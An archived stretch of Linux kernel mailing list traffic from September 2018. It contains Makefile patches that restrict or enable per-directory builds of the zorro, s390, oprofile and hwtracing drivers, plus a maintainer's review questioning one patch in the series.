List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884420 gmane.linux.oprofile:13248 gmane.linux.ports.parisc:29051
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884420>

Avoids building proc.o if 'make drivers/zorro/' is called and
CONFIG_ZORRO is disabled, even if CONFIG_PROC_FS is enabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/zorro/Makefile | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/drivers/zorro/Makefile b/drivers/zorro/Makefile
index b360ac4ea846..d580f9f08e0a 100644
--- a/drivers/zorro/Makefile
+++ b/drivers/zorro/Makefile
@@ -3,9 +3,10 @@
 # Makefile for the Zorro bus specific drivers.
 #
 
-obj-$(CONFIG_ZORRO)	+= zorro.o zorro-driver.o zorro-sysfs.o
-obj-$(CONFIG_PROC_FS)	+= proc.o
-obj-$(CONFIG_ZORRO_NAMES) +=  names.o
+obj-$(CONFIG_ZORRO) 		:= zorro_all.o
+zorro_all-y			+= zorro.o zorro-driver.o zorro-sysfs.o
+zorro_all-$(CONFIG_ZORRO_NAMES) += names.o
+zorro_all-$(CONFIG_PROC_FS)	+= proc.o
 
 hostprogs-y 		:= gen-devlist
 
-- 
2.19.0



From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 5/7] drivers: s390: Avoids building drivers if ARCH is not s390.
Date: Thu, 27 Sep 2018 23:08:14 -0300
Lines: 28
Approved: news@gmane.org
Message-ID: <20180928020816.11251-6-leobras.c@gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538100426 26889 195.159.176.226 (28 Sep 2018 02:07:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 02:07:06 +0000 (UTC)
Cc: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 04:07:00 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5iBH-0006qR-9U
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 04:06:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728920AbeI1Ia1 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:30:27 -0400
Original-Received: from mail-qt1-f195.google.com ([209.85.160.195]:43159 "EHLO
        mail-qt1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728720AbeI1Ia0 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:30:26 -0400
Original-Received: by mail-qt1-f195.google.com with SMTP id q41-v6so231120qtq.10;
        Thu, 27 Sep 2018 19:09:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references
         :mime-version:content-transfer-encoding;
        bh=wFwPD257gEf6jcXSywUF4KDj7r7qvliCjiZQYQyJ1vc=;
        b=CvmFn6I5WJhu5ZjswWU6NzsS8X94KzBnve8IPgf+Qo6+pGu2PExO5XGt9GjYlBuI6f
         yB0zavI67z3Rr315H9OjdoAxzOXkapemDB+UbEQ4nR7uWyDe5kyOwt3G4Hk5p3yhbDC7
         VFzi5S5oBin74hhJBjZrfFraRA8Xk7CZCc6MMPDptY+iI7gjh2tqqWEOTmbYvlkjW74v
         Przjh5jnrARDJ/euhODiw8YiBOw0ToWTNDFMM5SSONXmROOfa/oOUaT94qADuvKOiPNJ
         BDJ9sMRmwUHNSEUCAQMqeY7CJG90IDiOzZ+87daoHoqM/jclAfWRTnTrIioyRDLSCg8Q
         wn8Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references:mime-version:content-transfer-encoding;
        bh=wFwPD257gEf6jcXSywUF4KDj7r7qvliCjiZQYQyJ1vc=;
        b=Jlawu+0MZF3ZNrDGOu4VIKVNEDEhh6WpZCkOcmNafm/aVWZkdtouXpBN7D/086jUnp
         N/kRPXp3s7bAeO0YbgEIG8M6/nNHV+gftaAa65T/XK+KnCWnjotZscMWJiCoaiW1frpE
         FtezT6PYZYKPsY1bqLZFISEP1+SysNLYy7KPxd9P8nt3Mcnq5ZZ5OUpYdVmFn8mqfuRP
         iPhzpHr7OHwtIps2zC9m20tBAwXQPqmGX8fZ7MOqcw1vNVWlDTNCQtTvNcdOks69XY5e
         4FFEXAetVe9uY0ewuQqrI3azlTZnhQcSMVBHr2M5eCTg9XhovRIiJXtKMOG/Bq+Qof10
         yckA==
X-Gm-Message-State: ABuFfog3z5ZBhOV6LHRPwBLF9LlpTKEzk4oEozjtU6S3nf7pdPntvo6A
        At+Z4A0e9vh2OI6ACxCKKjUVwdKf
X-Google-Smtp-Source: ACcGV60cYOoAvibTXe4yQuqsipnRLZW5RkMJuY3DX7N4kd0h5Qo3N/FN0jP/X1Ce5LsCwIBLW8pghg==
X-Received: by 2002:ac8:728e:: with SMTP id v14-v6mr10886397qto.126.1538100545277;
        Thu, 27 Sep 2018 19:09:05 -0700 (PDT)
Original-Received: from localhost.localdomain ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id y138-v6sm731191qka.36.2018.09.27.19.08.59
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 27 Sep 2018 19:09:04 -0700 (PDT)
X-Mailer: git-send-email 2.19.0
In-Reply-To: <20180928020816.11251-1-leobras.c@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884421 gmane.linux.oprofile:13249 gmane.linux.ports.parisc:29052
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884421>

Avoids building s390 drivers if 'make drivers/s390/' is called but
ARCH is not s390.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/s390/Makefile | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/s390/Makefile b/drivers/s390/Makefile
index a863b0462b43..0575f02dba45 100644
--- a/drivers/s390/Makefile
+++ b/drivers/s390/Makefile
@@ -3,7 +3,7 @@
 # Makefile for the S/390 specific device drivers
 #
 
-obj-y += cio/ block/ char/ crypto/ net/ scsi/ virtio/
-
-drivers-y += drivers/s390/built-in.a
-
+ifeq ($(ARCH),s390)
+	obj-y += cio/ block/ char/ crypto/ net/ scsi/ virtio/
+	drivers-y += drivers/s390/built-in.a
+endif
-- 
2.19.0



From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 6/7] drivers: oprofile: Avoids building driver from direct make command
Date: Thu, 27 Sep 2018 23:08:15 -0300
Lines: 23
Approved: news@gmane.org
Message-ID: <20180928020816.11251-7-leobras.c@gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538100430 27183 195.159.176.226 (28 Sep 2018 02:07:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 02:07:10 +0000 (UTC)
Cc: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 04:07:04 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5iBM-0006wM-3R
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 04:07:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728952AbeI1Iad (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:30:33 -0400
Original-Received: from mail-qt1-f195.google.com ([209.85.160.195]:35632 "EHLO
        mail-qt1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728930AbeI1Iac (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:30:32 -0400
Original-Received: by mail-qt1-f195.google.com with SMTP id z14-v6so5087523qtn.2;
        Thu, 27 Sep 2018 19:09:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references
         :mime-version:content-transfer-encoding;
        bh=e059U9EVFIrXzIdKY/vX6Gpjk8Vp1fLvpRknwNsZouQ=;
        b=CUMDJJN6yNfQfPCW439dOQT+mg2FWYBh8yUgNBZoAQPPMTfGpXDngoyfLVL+HlOd5y
         oihWC3LDp8QTHpjtZCQ83WH1tntlr3ad4P0XC+MJZSAmnddZBRSLjS4NQ9q3wtoWgayR
         77yvHHtGJK7YiQJAoFHgjJ1sLBigzfhw//dx3l3l2RhAeDMlvRiGeBaQC1PL2ZZKA0ak
         iF3FACthDKmxCOfaY0pYq5sCEv5OMWq76/YAZGAuFFr9/zHFomV9AY3YL2/dYgU4Iba2
         0Y4yBgZi3sW0i0NtVabWn/pZejIx7sZSiOUhkU/WM9l+5Kh1I4GO9IhlzdbgHFcCsA2L
         RuiQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references:mime-version:content-transfer-encoding;
        bh=e059U9EVFIrXzIdKY/vX6Gpjk8Vp1fLvpRknwNsZouQ=;
        b=padHfS/gRZpQxZupuPRZq7s9tMYRjG2NqJEvYmRSaBO7nRadHCXQrXlJ0Bf3QcCqfK
         aKQePUhZMtNhxMi6wHSALHAvabV/eQgZHgHsm2oV+WlEhRlOuAMr2LKfshPKEAAwS9Ri
         BjMZVPSfc+yIW4nUjhl0tQyNj4MRLfkVrGTQZqDZ58nDRHpafo48VxLXw6/BIdbkNiiZ
         HqxhK1vUhMNzIVTMerxu9tFAQUKKqsWeI9ajxDuqRAlzciUbHDrY7r2MwUy5994m27/2
         /Gu1NMehNJQ0uALi6/xMmwLDGOfXlToVvdvX+G6HQtGDEfJarERicexjKJvLFTQQpOOz
         GOPw==
X-Gm-Message-State: ABuFfogcTxDgnrVoif6+yzLXnOsi88yblWuUOCi6D1knxmQQbv4IGSpi
        zvvv5H11cyLMIscg7ijVI30=
X-Google-Smtp-Source: ACcGV63Hsji/ySypatu1xD4zofutjOYePf7Z6bqsj9iZGRmP6CfMfuBGZrIhJykyjXnZlNL65uhvTQ==
X-Received: by 2002:aed:2b43:: with SMTP id p61-v6mr10997907qtd.107.1538100551318;
        Thu, 27 Sep 2018 19:09:11 -0700 (PDT)
Original-Received: from localhost.localdomain ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id y138-v6sm731191qka.36.2018.09.27.19.09.05
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 27 Sep 2018 19:09:10 -0700 (PDT)
X-Mailer: git-send-email 2.19.0
In-Reply-To: <20180928020816.11251-1-leobras.c@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884422 gmane.linux.oprofile:13250 gmane.linux.ports.parisc:29053
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884422>

Creates new Makefile to avoid building driver if
'make drivers/oprofile/' is called directly.

This driver is usually built from arch/$ARCH and seems to have
no meaning building alone.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/oprofile/Makefile | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 drivers/oprofile/Makefile

diff --git a/drivers/oprofile/Makefile b/drivers/oprofile/Makefile
new file mode 100644
index 000000000000..361867ec2338
--- /dev/null
+++ b/drivers/oprofile/Makefile
@@ -0,0 +1 @@
+#Does nothing, since the source is called from arch/$ARCH/ tree.
-- 
2.19.0



From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 7/7] drivers: hwtracing: Adds Makefile to enable building from directory.
Date: Thu, 27 Sep 2018 23:08:16 -0300
Lines: 41
Approved: news@gmane.org
Message-ID: <20180928020816.11251-8-leobras.c@gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538100436 27575 195.159.176.226 (28 Sep 2018 02:07:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 02:07:16 +0000 (UTC)
Cc: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 04:07:11 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5iBR-00073D-GD
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 04:07:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728974AbeI1Iaj (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:30:39 -0400
Original-Received: from mail-qt1-f195.google.com ([209.85.160.195]:44449 "EHLO
        mail-qt1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728720AbeI1Iai (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:30:38 -0400
Original-Received: by mail-qt1-f195.google.com with SMTP id c56-v6so144325qtd.11;
        Thu, 27 Sep 2018 19:09:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references
         :mime-version:content-transfer-encoding;
        bh=UAb82koJUru3xjb0CPohCP8QGMSpSYev3ABFomuLfos=;
        b=EzXyfMSHeE3uggB1jajQGCirYkUYO2SYR/HR4nkFOeKGuSr47eio46NJAhvm5AMWKx
         2qxt7/NmJt9nm5+xsFOssYFrz1q4CF5TnJB2ZdDFRqqcKch2X1/ledCpOhgqy8LkDUzM
         rJRNaQwehV4x4E+c/yoJVq0zIm8Wzmt27QMszJjE77O2oWNT3LTqp17pTibT78nIOd7N
         HWZHnpRwDBQK/OZZL6TE74bNW9Z0P+WiLrPpjRYJi4uhvjzR+C2eMy8NuflwE7E9Iyce
         yQc8mHvQK8mVjeRqFNX+Hha3hdLVxh844v2rkaLjxQlpfx9nHz8J+jL5aApaG1+3M5j/
         Yqjw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references:mime-version:content-transfer-encoding;
        bh=UAb82koJUru3xjb0CPohCP8QGMSpSYev3ABFomuLfos=;
        b=OEbo3f40S0jGotEpYQWBZoLPk6TZGVNlDLt8aSLepahxpk56Fah4S6Q+UF6xZBdwhG
         xhSrsgIPaVMWhy3wVNTiMlYkp544gZCHVd5nzAASu5dkwwVXnXeoysJy+h4IYsxC9Mo2
         KKDdAkYtPhaBacydKcKElPM/qbyiAaCI0ZE2UmADqRizb+WXo/3O519lCKBJ7idRN2ya
         X5B4lBRhlTxWr4BhrXgYH+zKPklzjk8FyXip/hZJlifptSmLq+mvMp0FjZBm50D/+U+H
         uPz9TXtb5B0ZaFK/ffQz9+0leOKvOZOv4XnPtiRsUzIsTrHssm28+S9IcNVBPZQ3CyOS
         utmw==
X-Gm-Message-State: ABuFfoj/g951VSUpBkGhtewzYQLeUmOMTWaJ9VP8YOAPxZZAfGQHLvBB
        MSsdSXlhUrStrZpOcepweXI=
X-Google-Smtp-Source: ACcGV61fJjPLfKjDNM3BBkz6aye0dc98m5Gs7VJdKq02carowFgKkUmZHZG0M+uSDNShlAot8GkgGg==
X-Received: by 2002:aed:3bc2:: with SMTP id s2-v6mr2751407qte.207.1538100556825;
        Thu, 27 Sep 2018 19:09:16 -0700 (PDT)
Original-Received: from localhost.localdomain ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id y138-v6sm731191qka.36.2018.09.27.19.09.11
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 27 Sep 2018 19:09:16 -0700 (PDT)
X-Mailer: git-send-email 2.19.0
In-Reply-To: <20180928020816.11251-1-leobras.c@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884423 gmane.linux.oprofile:13251 gmane.linux.ports.parisc:29054
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884423>

Adds Makefile to enable building the driver using
'make drivers/hwtracing/'.
Changes drivers/Makefile to call the new Makefile directly.
It enables user building this driver without building the whole drivers/
subtree.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/Makefile           | 4 +---
 drivers/hwtracing/Makefile | 3 +++
 2 files changed, 4 insertions(+), 3 deletions(-)
 create mode 100644 drivers/hwtracing/Makefile

diff --git a/drivers/Makefile b/drivers/Makefile
index 578f469f72fb..a237be6b602f 100644
--- a/drivers/Makefile
+++ b/drivers/Makefile
@@ -174,9 +174,7 @@ obj-$(CONFIG_MCB)		+= mcb/
 obj-$(CONFIG_PERF_EVENTS)	+= perf/
 obj-$(CONFIG_RAS)		+= ras/
 obj-$(CONFIG_THUNDERBOLT)	+= thunderbolt/
-obj-$(CONFIG_CORESIGHT)		+= hwtracing/coresight/
-obj-y				+= hwtracing/intel_th/
-obj-$(CONFIG_STM)		+= hwtracing/stm/
+obj-y				+= hwtracing/
 obj-$(CONFIG_ANDROID)		+= android/
 obj-$(CONFIG_NVMEM)		+= nvmem/
 obj-$(CONFIG_FPGA)		+= fpga/
diff --git a/drivers/hwtracing/Makefile b/drivers/hwtracing/Makefile
new file mode 100644
index 000000000000..fe5773caec49
--- /dev/null
+++ b/drivers/hwtracing/Makefile
@@ -0,0 +1,3 @@
+obj-$(CONFIG_CORESIGHT)		+= coresight/
+obj-y				+= intel_th/
+obj-$(CONFIG_STM)		+= stm/
-- 
2.19.0



From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 3/7] drivers: parisc: Avoids building driver if
 CONFIG_PARISC is disabled
Date: Fri, 28 Sep 2018 09:15:15 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <1538118915.3593.4.camel@HansenPartnership.com>
References: <20180928020816.11251-1-leobras.c@gmail.com>
         <20180928020816.11251-4-leobras.c@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538118801 26937 195.159.176.226 (28 Sep 2018 07:13:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 07:13:21 +0000 (UTC)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: Leonardo =?ISO-8859-1?Q?Br=E1s?= <leobras.c@gmail.com>,
        lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 09:13:16 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5mxf-0006sa-Eb
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 09:13:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729127AbeI1Nho (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 09:37:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53086 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1728813AbeI1Nho (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 09:37:44 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id 002E58EE267;
        Fri, 28 Sep 2018 00:15:22 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id xYfAv1yIy9AE; Fri, 28 Sep 2018 00:15:21 -0700 (PDT)
Original-Received: from [172.20.5.140] (unknown [46.218.58.220])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D9C928EE0CE;
        Fri, 28 Sep 2018 00:15:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1538118921;
        bh=hN0XTO1lKhzoem1eoE1Wjm8HabC9Uf9ZBsrLDrLVMdM=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=Gq8U9rHcGJ58nt/Gj92pVF0iGMhfnJxvzwulKrOA7n3iRMnsLM95xEM5mUyrVz7KU
         prvbNng897gAYWQy/EY4uTd3BCbXozWqNLIC9FhQhu5JktHEXS9DEdU0blFTnkpBwn
         AOG7054fWYnRQ1w8VcjNrqmygWtjWGNYEpihMuy4=
In-Reply-To: <20180928020816.11251-4-leobras.c@gmail.com>
X-Mailer: Evolution 3.22.6 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884544 gmane.linux.oprofile:13252 gmane.linux.ports.parisc:29055
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884544>

On Thu, 2018-09-27 at 23:08 -0300, Leonardo Brás wrote:
> Avoids building driver if 'make drivers/parisc/' is called and
> CONFIG_PARISC is disabled.

Is that really a problem? The drivers/Makefile has this:

obj-$(CONFIG_PARISC)		+= parisc/ 
And you just overrode that by forcing the build.  It's not even clear
we should refuse the build in that case; how would we know you don't
have a legitimate reason for the override? 

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
> ---
>  drivers/parisc/Makefile | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/drivers/parisc/Makefile b/drivers/parisc/Makefile
> index 3cd5e6cb8478..80049d763aa0 100644
> --- a/drivers/parisc/Makefile
> +++ b/drivers/parisc/Makefile
> @@ -24,5 +24,5 @@ obj-$(CONFIG_EISA)		+= eisa.o
> eisa_enumerator.o eisa_eeprom.o
>  obj-$(CONFIG_SUPERIO)		+= superio.o
>  obj-$(CONFIG_CHASSIS_LCD_LED)	+= led.o
>  obj-$(CONFIG_PDC_STABLE)	+= pdc_stable.o
> -obj-y				+= power.o
> +obj-$(CONFIG_PARISC)		+= power.o

If we conclude the use case is legitimate, that's not enough: the two
inner symbols are PARISC only but CONFIG_EISA isn't.

James



From - Thu Nov 08 21:42:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 2/5] parisc: add __NR_Linux_syscalls macro with __NR_syscalls
Date: Fri, 28 Sep 2018 14:14:26 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <CAK8P3a3ZOC-V0uOD6uD=Hg-AoN8mkJynD6ubpaTppevUvQ54qw@mail.gmail.com>
References: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org> <1538058267-3765-3-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538136761 15420 195.159.176.226 (28 Sep 2018 12:12:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 12:12:41 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
